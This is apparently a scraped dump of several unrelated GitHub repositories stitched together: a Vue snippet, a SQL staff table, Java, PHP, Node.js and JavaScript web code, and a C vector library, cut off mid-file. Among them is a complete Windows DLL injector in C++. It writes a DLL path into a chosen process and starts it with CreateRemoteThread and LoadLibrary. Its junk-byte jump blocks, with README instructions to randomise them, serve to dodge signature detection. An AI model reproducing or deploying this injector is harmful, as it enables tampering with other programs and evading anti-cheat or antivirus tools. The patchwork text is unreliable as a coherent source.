esModule只读引用 */ let comp = require('./global-components/' + item.name + '.vue').default; Vue.component(`v-${item.name}`, comp); }) }
33c96405688ef84f60f45b908a1e88b45bce80f4
[ "JavaScript", "Markdown", "Shell" ]
16
JavaScript
karencxx/vue-demo
cc0d9fb8c3b6f2531b0788021428b4a9564c6a15
f054320faa0cbb1557e33cf66a5cc457710766c5
refs/heads/master
<repo_name>ItsOnlyMeNL/Rando-Injector<file_sep>/README.md # Rando-Injector ## How compile? 1) Change all bytes(0x00, 0x01, 0x03....) in define "JUNKS" to random bytes 2) Change size this block by add new bytes 3) Compile this ## Video [![How copile?](https://img.youtube.com/vi/bA3CcQ4p1QQ/0.jpg)](https://www.youtube.com/watch?v=bA3CcQ4p1QQ) <file_sep>/Source/RandoInjector/Main.cpp #include <iostream> #include <Windows.h> #include <TlHelp32.h> #include <string> #define walisson std::cout << "\nXing code desliga sexta-feira !!\n" // And you need: // 1. Modifique todos os bytes(0x00, 0x01, 0x03....) #define JUNKS \ __asm _emit 0x00 \ __asm _emit 0x01 \ __asm _emit 0x03 \ __asm _emit 0x04 \ __asm _emit 0x05 \ __asm _emit 0x06 \ __asm _emit 0x07 \ __asm _emit 0x08 \ // Não mude isso! #define _JUNK_BLOCK(s) __asm jmp s JUNKS __asm s: char dll[30]; char processo[30]; ///////////////////////////////////////////////////////////////////////////////////// // INJECTOR CODE // ///////////////////////////////////////////////////////////////////////////////////// DWORD Process(char* ProcessName) { std::cout << "\n Injectado com sucesso!!\n"; _JUNK_BLOCK(jmp_label1) HANDLE hPID = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); _JUNK_BLOCK(jmp_label2) PROCESSENTRY32 ProcEntry; _JUNK_BLOCK(jmp_label3) ProcEntry.dwSize = sizeof(ProcEntry); _JUNK_BLOCK(jmp_label4) do { _JUNK_BLOCK(jmp_label5) if (!strcmp(ProcEntry.szExeFile, ProcessName)) { _JUNK_BLOCK(jmp_label6) DWORD dwPID = ProcEntry.th32ProcessID; _JUNK_BLOCK(jmp_label7) CloseHandle(hPID); _JUNK_BLOCK(jmp_label8) return dwPID; } _JUNK_BLOCK(jmp_label9) } while (Process32Next(hPID, &ProcEntry)); _JUNK_BLOCK(jmp_label10) system("PAUSE"); } int main() { SetConsoleTitle("Injector Code Building"); std::cout << " \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ " << std::endl; std::cout << "// ###### ####### ######## ######## #### ## ## ## ###### ######## ####### ######## // " << std::endl; std::cout << "// ## ## ## ## ## ## ## ## ### ## ## ## ## ## ## ## ## ## // " << std::endl; std::cout << "// ## ## ## ## ## ## ## #### ## ## ## ## ## ## ## ## // " << std::endl; std::cout << "// ## ## ## ## ## ###### ## ## ## ## ## ## ## ## ## ######## // " << std::endl; std::cout << "// ## ## ## ## ## ## ## ## #### ## ## ## ## ## ## ## ## // " << std::endl; std::cout << "// ## ## ## ## ## ## ## ## ## ### ## ## ## ## ## ## ## ## ## // " << std::endl; std::cout << "// ###### ####### ######## ######## #### ## ## ###### ###### ## ####### ## ## // " << std::endl; std::cout << " ///////////////////////////////////////////////////////////////////////////////////////////////////////////"<< std::endl; walisson; std::cout << "\nDigite o nome da dll: \n"; std::cin >> dll; std::cout << "Digite o nome do processo: \n"; std::cin >> processo; _JUNK_BLOCK(jmp_label11) DWORD dwProcess; _JUNK_BLOCK(jmp_label12) char myDLL[MAX_PATH]; _JUNK_BLOCK(jmp_label13) GetFullPathName(dll, MAX_PATH, myDLL, 0); _JUNK_BLOCK(jmp_label4) dwProcess = Process(processo); _JUNK_BLOCK(jmp_label15) HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, dwProcess); _JUNK_BLOCK(jmp_label16) LPVOID allocatedMem = VirtualAllocEx(hProcess, NULL, sizeof(myDLL), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); _JUNK_BLOCK(jmp_label17) WriteProcessMemory(hProcess, allocatedMem, myDLL, sizeof(myDLL), NULL); _JUNK_BLOCK(jmp_label18) CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)LoadLibrary, allocatedMem, 0, 0); _JUNK_BLOCK(jmp_label19) CloseHandle(hProcess); _JUNK_BLOCK(jmp_label20) return 0; _JUNK_BLOCK(jmp_label21) }
5a756fea6f9fa413a25bd506a1808770318dc085
[ "Markdown", "C++" ]
2
Markdown
ItsOnlyMeNL/Rando-Injector
1cbd911214a30c9d805414c4266471fe8c68d113
38bcd9b340d7346112993e5ae2cea0ed05763370
refs/heads/main
<repo_name>StefaniaBuri/landing-page<file_sep>/landing-page.js 'use strict' window.addEventListener('load', function(){ let formulario = document.querySelector("#formulario"); let box_dashed = document.querySelector(".dashed"); box_dashed.style.display= "none"; formulario.addEventListener('submit', function(){ let name = document.querySelector("#name").value; let email = document.querySelector("#email").value; let message = document.querySelector("#message").value; box_dashed.style.display= "block"; let p_name = document.querySelector("#p_name span"); let p_email = document.querySelector("#p_email span"); let p_message = document.querySelector("#p_message span"); p_name.innerHTML = name; p_email.innerHTML = email; p_message.innerHTML = message; /* OPCION 2 var datos_usuario = [name, email, comment]; var indice; for(indice in datos_usuario){ var parrafo = document.createElement("p"); parrafo.append(datos_usuario[indice]); box_dashed.append(parrafo); }*/ console.log(JSON.stringify({name, email, message})); }); }); window.addEventListener('load', function(){ var formulario1 = document.querySelector("#formulario1"); var box_dashed2 = document.querySelector(".dashed2"); box_dashed2.style.display = "none"; formulario1.addEventListener('submit', function(){ var category = document.querySelector("#category").value; var date = document.querySelector("#date").value; var destination = document.querySelector("#destination").value; var price = document.querySelector("#price").value; var comment = document.querySelector("#comment").value; box_dashed2.style.display = "block"; let Json = {"Category": category, "Date": date, "Destination": destination, "Price" :price, "Comment":comment} alert(JSON.stringify(Json)); var p_category = document.querySelector("#p_category span"); var p_date = document.querySelector("#p_date span"); var p_destination = document.querySelector("#p_destination span"); var p_price = document.querySelector("#p_price span"); var p_comment = document.querySelector("#p_comment span"); p_category.innerHTML = category; p_date.innerHTML = date; p_destination.innerHTML = destination; p_price.innerHTML = price; p_comment.innerHTML = comment; }); }); function filter(){ var destination = document.querySelector("#destination").value; if(destination == "Canary Islands" || destination == "Mallorca" || destination == "Galicia" ){ alert("We'll get in touch with you ASAP about your trip in:"+ " "+ destination); } else if(destination == "Any"){ alert("Please, select a destination"); } };
d30350e0f9e0e6ed3cb8e9e73f3a2c9874ffe36d
[ "JavaScript" ]
1
JavaScript
StefaniaBuri/landing-page
5900fd5290f5162c663c45cd8f2f3f7a536503a2
df98ba614b7b4bcbc246b2e660836f18dc103790
refs/heads/master
<file_sep><?php /** * This is the model class for table "log". * * The followings are the available columns in table 'log': * @property integer $id * @property integer $from * @property integer $to * @property integer $count * @property string $time */ class Log extends CActiveRecord { /** * @return string the associated database table name */ public function tableName() { return 'log'; } /** * @return array validation rules for model attributes. */ public function rules() { // NOTE: you should only define rules for those attributes that // will receive user inputs. return array( array('id, from, to, count', 'numerical', 'integerOnly'=>true), array('time', 'safe'), array('count', 'isEnoughAtBalance'), array('to', 'validateUserTo'), array('from', 'validateUserFrom'), // The following rule is used by search(). // @todo Please remove those attributes that should not be searched. array('id, from, to, count, time', 'safe', 'on'=>'search'), ); } /** * @return array relational rules. */ public function relations() { // NOTE: you may need to adjust the relation name and the related // class name for the relations automatically generated below. return array( ); } /** * @return array customized attribute labels (name=>label) */ public function attributeLabels() { return array( 'id' => 'ID', 'from' => 'From', 'to' => 'To', 'count' => 'Count', 'time' => 'Time', ); } /** * Retrieves a list of models based on the current search/filter conditions. * * Typical usecase: * - Initialize the model fields with values from filter form. * - Execute this method to get CActiveDataProvider instance which will filter * models according to data in model fields. * - Pass data provider to CGridView, CListView or any similar widget. * * @return CActiveDataProvider the data provider that can return the models * based on the search/filter conditions. */ public function search() { // @todo Please modify the following code to remove attributes that should not be searched. $criteria=new CDbCriteria; $criteria->compare('id',$this->id); $criteria->compare('from',$this->from); $criteria->compare('to',$this->to); $criteria->compare('count',$this->count); $criteria->compare('time',$this->time,true); return new CActiveDataProvider($this, array( 'criteria'=>$criteria, )); } /** * Returns the static model of the specified AR class. * Please note that you should have this exact method in all your CActiveRecord descendants! * @param string $className active record class name. * @return Log the static model class */ public static function model($className=__CLASS__) { return parent::model($className); } public function isEnoughAtBalance($attribute){ if ($this->count > 0 && (floatval($this->count) == $this->count)){ $user = User::model()->findByPk(Yii::app()->user->id); if ($user && $user->balance < $this->count){ $this->addError($attribute, 'Недостаточно средств на счету'); } }else{ $this->addError($attribute, 'Некорректное значение'); } } public function validateUserTo($attribute,$params){ if ($this->to > 0){ $user = User::model()->findByPk($this->to); if (!$user){ $this->addError($attribute, 'Такого пользователя не существует'); } if ($this->to == $this->from){ $this->addError($attribute, 'Нельзя проводить перевод самому себе'); } }else{ $this->addError($attribute, 'Некорректное значение'); } } public function validateUserFrom($attribute){ if ($this->from > 0){ $user = User::model()->findByPk($this->from); if (!$user){ $this->addError($attribute, 'Такого пользователя не существует'); } }else{ $this->addError($attribute, 'Некорректное значение'); } } public function transferMoney() { $transaction = Yii::app()->db->beginTransaction(); $userFrom = User::model()->findByPk($this->from); $userTo = User::model()->findByPk($this->to); $userFrom->balance = $userFrom->balance - $this->count; $userTo->balance = $userTo->balance + $this->count; if ($userFrom->save() && $userTo->save()) { $transaction->commit(); return true; } else { $transaction->rollback(); return false; } } protected function beforeSave() { if (!parent::beforeSave()) { return false; } $this->time = date("Y-m-d H:i:s"); return true; } }
092ad6be11a49ffd455dfeb6778523c51001f812
[ "PHP" ]
1
PHP
justbravess/paying
0b3d9b281f1e995fe36caedc58d5b2fce1b608fa
37501e285fffd9cf5d8b8b8944df6aa7038a4ff7
refs/heads/master
<file_sep>//This is a recipie to make egg salad<file_sep>/*large hard-boiled EGGS, sliced 6 mayonnaise 1/4 cup fresh lemon juice 2 tsp. minced onion 1 Tbsp. finely chopped celery 1/2 cup Lettuce leaves (for serving)*/
dcd75cc8ea86b9b81e6c431be767dba1ba585e7b
[ "JavaScript" ]
2
JavaScript
Josh194812/Recipe
24dfe789be02d64de028afc643d134a72e7048c6
275c07e8527a20bab1712c1c315b9c512e4863fd
refs/heads/master
<repo_name>gammafp/vergatarioShorten<file_sep>/public/js/libs/gammajax.js var Gammajax = function() { var solicitud = new XMLHttpRequest(); function init(metodo, form) { var formulario = form; var envio = JSON.stringify(formulario.datos); solicitud.onreadystatechange = formulario.funcion; solicitud.open('POST', formulario.url, true); solicitud.setRequestHeader("Content-Type", "application/json; charset=UTF-8"); solicitud.send(envio); } return { 'post' : function(form) { init('POST', form); }, 'get' : function(form) { init('GET', form); } }; }; var gammajax = new Gammajax(); // var obj = new Gammajax(); // obj.post({ // 'url' : 'http://localhost/conversor', // 'datos' : {"nombre":"Francisco"}, // 'funcion' : prueba // }); <file_sep>/RESGUARDO/app.js var express = require('express'), bodyParser = require('body-parser'), cnf = require('./conf'), favicon = require('serve-favicon'), path = require('path'), mongoose = require('mongoose'); /* Modelos de base de datos */ var user_schema = require('./models/User'), db_lnk = cnf.db.host, db = mongoose.createConnection(db_lnk), users = db.model('users', user_schema); /* Anti Ddos */ // var Ddos = require('ddos'); // var ddos = new Ddos; // users.find(function(err, user) { // if(err) { // console.log(err); // } else { // console.log(user); // } // }); /* Variables personales */ var criptoVergatario = require('./libs/modulo_encriptacion/criptoVergatario'); var app = express(); // app.use(ddos.express); // Paquetes a usar // app.use(ddos.express); // Midleware app.use(bodyParser.json()); app.use(bodyParser.urlencoded({ extended: true })); app.use(favicon(path.join(__dirname + '\\public\\favicon.ico'))); app.use(express.static(__dirname + '\\public')); app.use("/static", express.static(__dirname + '\\public')); app.get('/', function(req, res) { res.sendFile('index.html'); }); app.get('/login', function(req, res) { res.sendFile(__dirname + '\\public\\pruebaFacebook.html'); }); // Conversor de enlaces app.post('/conversor', function(req, res) { /* Estructura de los herrores y mensajes { error : false // tambien puede ser true msg : 'Aquí el mensaje o la respuesta sastifactoria del error' } */ var entrada = req.body.vergatario; if(entrada === undefined) { res.json({error: true, msg: 'El elemento está indefinido'}); } else { if(!entrada.startsWith('http')) { entrada = 'http://'+entrada; } res.json({error: false, msg: cnf.hostAcortador + criptoVergatario(req.body.vergatario)}); // Si todo es correcto acá iria la entrada a la base de datos } }); var ip = process.env.OPENSHIFT_NODEJS_IP || cnf.ip; var port = process.env.OPENSHIFT_NODEJS_PORT || cnf.port; app.listen(port, ip, function() { console.log('#-----------------------------------------------------------------------#'); console.log('#--| Acceda a la página escribiendo http://localhost en el navegador |--#'); console.log('#-----------------------------------------------------------------------#'); }); <file_sep>/tests/mongoStart.js var exec = require('child_process').exec; var command = "mongod"; child = exec(command, function(err, stdout, stderr) { if(error !== null) { console.log('exec error: ' + error); } }); module.export = child; <file_sep>/desktop.ini [.ShellClassInfo] InfoTip=Carpeta sincronizada con MEGA IconResource=C:\Users\gammafp\AppData\Local\MEGAsync\MEGAsync.exe,3 <file_sep>/controllers/rutas.js /* Estructura de los herrores y mensajes { error : false // tambien puede ser true msg : 'Aquí el mensaje o la respuesta sastifactoria del error' } */ var criptoVergatario = require('../libs/modulo_encriptacion/criptoVergatario'); var patron = /^(http|https)\:\/\/[a-z0-9\.-]+\.[a-z]{2,4}/gi; var cnf = require('../conf'); exports.convertidor = function(req, res, next) { var entrada = req.body.vergatario; if(entrada === undefined || entrada === '') { res.json({error: true, msg: 'El elemento está indefinido'}); } else { if(!entrada.startsWith('http')) { entrada = 'http://'+entrada; } if (!patron.test(entrada)) { res.json({error: true, msg: 'Esto no es una URL correcta.'}); } else { // Si todo es correcto acá iria la entrada a la base de datos res.json({error: false, msg: cnf.hostAcortador + criptoVergatario(req.body.vergatario)}); } } }; <file_sep>/public/js/libs/efectos.js // efecto modal del materialize $('.modal-trigger').leanModal({ dismissible: true, // Modal can be dismissed by clicking outside of the modal opacity: 0.5, // Opacity of modal background in_duration: 300, // Transition in duration out_duration: 200, // Transition out duration }); <file_sep>/public/index.html <!DOCTYPE html> <html lang="es"> <head> <title>{{title}}</title> <link rel="stylesheet" href="css/main.css"> <link rel="stylesheet" href="css/transiciones.css"> <link rel="stylesheet" href="https://fonts.googleapis.com/icon?family=Material+Icons"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/0.97.6/css/materialize.min.css"> <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/2.2.3/jquery.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/0.97.6/js/materialize.min.js"></script> <!-- <script src="https://cdnjs.cloudflare.com/ajax/libs/vue/1.0.21/vue.min.js"></script> --> <script src="js/libs/vue.js"></script> <script src="js/libs/gammajax.js"></script> </head> <body> <nav class="cyan darken-1" role="navigation"> <div class="nav-wrapper container"> <a id="logo-container" href="#" class="brand-logo"><img src="/img/top_cat.png" alt="" /></a> <ul class="right hide-on-med-and-down"> <li> <!-- Trigger registro --> <button data-target="registro" class="btn modal-trigger orange lighten-1" type="submit">registrate</button> </li> <li> <!-- Trigger login todavia en desarrollo --> <button class="btn waves-effect white" type="submit"><span class="orange-text text-lighten-1">login</span></button> </li> </ul> </div> </nav> <!-- Acortador url--> <div class="row center"> <div class="center container"> <form id="conversor" class="blue-grey lighten-5 z-depth-2" v-on:submit.prevent="submit"> <!-- <input class="browser-default" type="url" id="inputUrl" placeholder=" Aqui van las urls" v-model="cambio" transition="fade" v-if="mostrar" autofocus size="40"> --> <input class="browser-default" type="text" id="inputUrl" placeholder=" Aqui van las urls" v-model="cambio" transition="fade" v-if="mostrar" autofocus size="40"> </form> </div> <div class="container"> <ul class="center hide-on-large-only"> <li> <button class="btn waves-effect waves-light orange lighten-1" type="submit">registrate</button> </li> <li> <button class="btn waves-effect waves-light white" type="submit"> <span class="orange-text text-lighten-1">login</span></button> </li> </ul> </div> </div> <!-- tarjetas --> <div class="container"> <div class="section"> <div class="row"> <div class="col s12 m4"> <div class="card"> <div class="card-content"> <div class="icon-block"> <h2 class="center orange-text text-lighten-1"><i class="material-icons">equalizer</i></h2> <h5 class="center">Lorem ipsum dolor sit amet</h5> <p class="light">Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p> </div> </div> </div> </div> <div class="col s12 m4"> <div class="card"> <div class="card-content"> <div class="icon-block"> <h2 class="center orange-text text-lighten-1"><i class="material-icons">group</i></h2> <h5 class="center">Lorem ipsum dolor sit amet</h5> <p class="light">Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p> </div> </div> </div> </div> <div class="col s12 m4"> <div class="card"> <div class="card-content"> <div class="icon-block"> <h2 class="center orange-text text-lighten-1"><i class="material-icons">settings</i></h2> <h5 class="center">Lorem ipsum dolor sit amet</h5> <p class="light">Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p> </div> </div> </div> </div> </div> </div> </div> <!-- Estructura registro --> <div id="registro" class="modal"> <div class="modal-content"> <div class="row"> <div><button class="btn indigo darken-4" v-on:click="facebook">FACEBOOK</button></div> <div><button class="btn blue accent-3">TWITTER</button></div> <div><button class="btn red accent-4">GMAIL</button></div> <div><button class="btn teal accent-4">EMAIL</button></div> </div> </div> <div class="modal-footer"> <a href="#!" class=" modal-action modal-close waves-effect waves-green btn-flat">Aceptar</a> </div> </div> <footer class="page-footer cyan darken-1"> <div class="container"> <div class="row"> <div class="col l6 s6"> <h5 class="white-text">Nuestra Bio</h5> <p class="grey-text text-lighten-4"></p> </div> <div class="right-align col l6 s6"> <h5 class="white-text">Redes Sociales</h5> <ul> <li><a class="white-text" href="#!">github</a></li> <li><a class="white-text" href="#!">twitter</a></li> <li><a class="white-text" href="#!">face</a></li> </ul> </div> </div> </div> <div class="footer-copyright"> <div class="container"> </div> </div> </footer> <!-- scripts --> <script src="js/main.js"></script> <script src="js/libs/efectos.js"></script> </body> </html> <file_sep>/libs/modulo_encriptacion/criptoVergatario.js var Base62 = require('base62'); var crypto = require('crypto'); var criptoVergatario = function (url) { var final = Base62.encode(parseInt(crypto.createHash('md5').update(url).digest("hex"), 16)); var conteo = final.length; var salida = ''; for(var i = 0; i < conteo; i++) { salida += final[Math.floor(Math.random() * (conteo - 0 +1))]; } return salida.substr(0, 5); } module.exports = criptoVergatario;
a278a13acac10fc475caf7898edac651846ca67e
[ "JavaScript", "HTML", "INI" ]
8
JavaScript
gammafp/vergatarioShorten
36c8473a6a30902aa2649842b5f2a3bfec43e794
c1552378742abd095d1e020a0c33a2c40b4421ad
refs/heads/master
<file_sep>-- phpMyAdmin SQL Dump -- version 4.9.1 -- https://www.phpmyadmin.net/ -- -- Host: 127.0.0.1 -- Generation Time: Oct 01, 2020 at 04:45 PM -- Server version: 10.4.8-MariaDB -- PHP Version: 7.3.11 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET AUTOCOMMIT = 0; START TRANSACTION; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; -- -- Database: `staff_db` -- -- -------------------------------------------------------- -- -- Table structure for table `staff` -- CREATE TABLE `staff` ( `id` int(4) NOT NULL, `firstName` varchar(20) NOT NULL, `lastName` varchar(20) NOT NULL, `MI` varchar(15) NOT NULL, `Address` varchar(100) NOT NULL, `City` varchar(50) NOT NULL, `State` varchar(50) NOT NULL, `Telephone` int(15) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; -- -- Dumping data for table `staff` -- INSERT INTO `staff` (`id`, `firstName`, `lastName`, `MI`, `Address`, `City`, `State`, `Telephone`) VALUES (1, 'asdfg', 'dgsgg', 'Q', 'xfggsgg', 'dsdd', 'QLD', 343243), (2, 'Krish', 'dinesh', 'F', '30,ajbsjbfhfbf,ijbhfswbhwf', 'jdbjdbfjhf', 'NT', 384389834), (3, 'Alfar', 'Kaleel', 'M', '50,dfbsjfb,ajbasjh', 'jbjsgbvj', 'NSW', 894784784), (4, 'Krish', 'dinesh', 'F', '30,ajbsjbfhfbf,ijbhfswbhwf', 'jdbjdbfjhf', 'NT', 384389834), (5, 'Krish', 'dinesh', 'F', '30,ajbsjbfhfbf,ijbhfswbhwf', 'jdbjdbfjhf', 'NT', 384389834), (6, 'Krish', 'dinesh', 'F', '30,ajbsjbfhfbf,ijbhfswbhwf', 'jdbjdbfjhf', 'NT', 384389834), (7, 'Krish', 'dinesh', 'F', '30,ajbsjbfhfbf,ijbhfswbhwf', 'jdbjdbfjhf', 'NT', 384389834), (8, 'dhajh', 'abjf', 'K', 'kenhfje', 'wlker', 'NSW', 8732894), (9, 'Kthu', 'sdnjb', 'j', 'jdnjnjdsnjgnj', 'jfnjsnj', 'NT', 939343409), (10, 'Saman', 'kumara', 'f', 'vnxjkvs', 'lnjlb', 'NT', 37320943), (11, 'asdfg', 'dgsgg', 'Q', 'xfggsgg', 'dsdd', 'QLD', 343243), (12, 'asdfg', 'dgsgg', 'Q', 'xfggsgg', 'dsdd', 'QLD', 343243), (13, 'Alfar', 'Mohamed', 'F', 'jbjf', 'kjshjbv', 'NSW', 778347), (14, 'ggs', 'kjhj', 'lkjhj', 'khj', 'lkjhj', 'QLD', 998796789); -- -- Indexes for dumped tables -- -- -- Indexes for table `staff` -- ALTER TABLE `staff` ADD PRIMARY KEY (`id`); COMMIT; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; <file_sep>package Model; public class Staff { private int id; private String firstName; private String lastName; private String MI; private String Address; private String city; private String state; private int telephone; public Staff(int id, String firstName, String lastName, String mI, String address, String city, String state, int telephone) { this.id = id; this.firstName = firstName; this.lastName = lastName; this.MI = mI; this.Address = address; this.city = city; this.state = state; this.telephone = telephone; } public int getId() { return id; } public String getFirstName() { return firstName; } public String getLastName() { return lastName; } public String getMI() { return MI; } public String getAddress() { return Address; } public String getCity() { return city; } public String getState() { return state; } public int getTelephone() { return telephone; } }
c91d5b09555f5b273d80f08df970579b4ba4b121
[ "Java", "SQL" ]
2
SQL
alfar-kaleel/JavaFX_mySQL
9d82ffee5390bfe369b879711b52406429deb694
ecae27ea33247d98aedd81dbf43bdae5a50fb804
refs/heads/master
<repo_name>skslater/basic-vector<file_sep>/vector.c /**************************************************************************** * Copyright (c) 2019 <NAME> <<EMAIL>> * * Permission to use, copy, modify, and distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. ****************************************************************************/ #include <stdbool.h> #include <stdlib.h> #include <string.h> #include "vector.h" // // vector_new() // vec vector_new(int elemsize, int capacity) { vec v = (vec) malloc(sizeof(struct vector)); if (v == NULL) return NULL; v->elemsize = elemsize; v->capacity = capacity ? capacity : VECTOR_MINCAPACITY; v->count = 0; v->data = (char *) malloc(elemsize * v->capacity); memset(v->data, 0, elemsize * capacity); return v; } // // vector_free() // void vector_free(vec v) { free(v->data); free(v); } // // vector_grow() // int vector_grow(vec v) { char *data; data = (char *) malloc(v->elemsize * v->capacity * 2); if (data == NULL) return true; memcpy(data, v->data, v->elemsize * v->count); free(v->data); v->data = data; v->capacity = v->capacity * 2; return false; } // // vector_shrink() // int vector_shrink(vec v) { char *data; data = (char *) malloc(v->elemsize * v->count); if (data == NULL) return true; memcpy(data, v->data, v->elemsize * v->count); free(v->data); v->data = data; v->capacity = v->count; return false; } // // vector_push() // void vector_push(vec v, void *e) { if (v->count == v->capacity) { if (vector_grow(v)) return; } memcpy(v->data + (v->elemsize * v->count), e, v->elemsize); v->count++; } // // vector_delete() // void vector_delete(vec v, int index) { int n; v->count--; for (n=index; n<v->capacity-1; n++) { memcpy(v->data + (v->elemsize * n), v->data + (v->elemsize * (n+1)), v->elemsize); } } // // vector_get() // void* vector_get(vec v, int index) { return v->data + (v->elemsize * index); } // // vector_clear() // void vector_clear(vec v) { free(v->data); v->count = 0; v->capacity = VECTOR_MINCAPACITY; v->data = (char *) malloc(v->elemsize * VECTOR_MINCAPACITY); memset(v->data, 0, v->elemsize * VECTOR_MINCAPACITY); }<file_sep>/vectest.c /**************************************************************************** * Copyright (c) 2019 <NAME> <<EMAIL>> * * Permission to use, copy, modify, and distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. ****************************************************************************/ #include <assert.h> #include <stdlib.h> #include <stdio.h> #include <time.h> #define NUMELEMS 100000 #include "vector.h" int main(int argc, char **argv) { struct timespec ts1, ts2; int rc1, rc2, n; int one = 1; int two = 2; int three = 3; int four = 4; int five = 5; // test new vec v = vector_new(sizeof(int), 4); assert(v != NULL); assert(v->capacity == 4); assert(v->count == 0); assert(v->elemsize == sizeof(int)); // test push vector_push(v, &one); assert(v->count == 1); int *oneptr = (int *) vector_get(v, 0); assert(*oneptr == 1); // test push to capacity vector_push(v, &two); vector_push(v, &three); vector_push(v, &four); int *threeptr = (int *) vector_get(v, 2); assert(v->count == 4); assert(*threeptr == 3); assert(v->capacity == 4); // test grow vector_push(v, &five); int *twoptr = (int *) vector_get(v, 1); int *fiveptr = (int *) vector_get(v, 4); assert(v->count == 5); assert(v->capacity == 8); assert(*fiveptr == 5); // test delete vector_delete(v, 3); assert(v->count == 4); int *fourptr = (int *) vector_get(v, 3); assert(*fourptr == 5); // test shrink vector_delete(v, 0); assert(v->count == 3); assert(v->capacity == 8); vector_shrink(v); assert(v->count == 3); assert(v->capacity == 3); // test clear vector_clear(v); assert(v->count == 0); assert(v->capacity == VECTOR_MINCAPACITY); // free vector_free(v); // test new no capacity v = vector_new(sizeof(int), 0); assert(v != NULL); assert(v->capacity == VECTOR_MINCAPACITY); assert(v->count == 0); assert(v->elemsize == sizeof(int)); // measurement rc1 = clock_gettime(CLOCK_REALTIME, &ts1); for (n=0; n<NUMELEMS; n++) vector_push(v, &n); rc2 = clock_gettime(CLOCK_REALTIME, &ts2); assert(rc1 == 0); assert(rc2 == 0); printf("Measurements started for %d elements @ %u.%u\n", NUMELEMS, ts1.tv_sec, ts1.tv_nsec); printf("Measurements ended for %d elements @ %u.%u\n", NUMELEMS, ts2.tv_sec, ts2.tv_nsec); puts("All test passed"); }<file_sep>/vector.h /**************************************************************************** * Copyright (c) 2019 <NAME> <<EMAIL>> * * Permission to use, copy, modify, and distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR * ANY 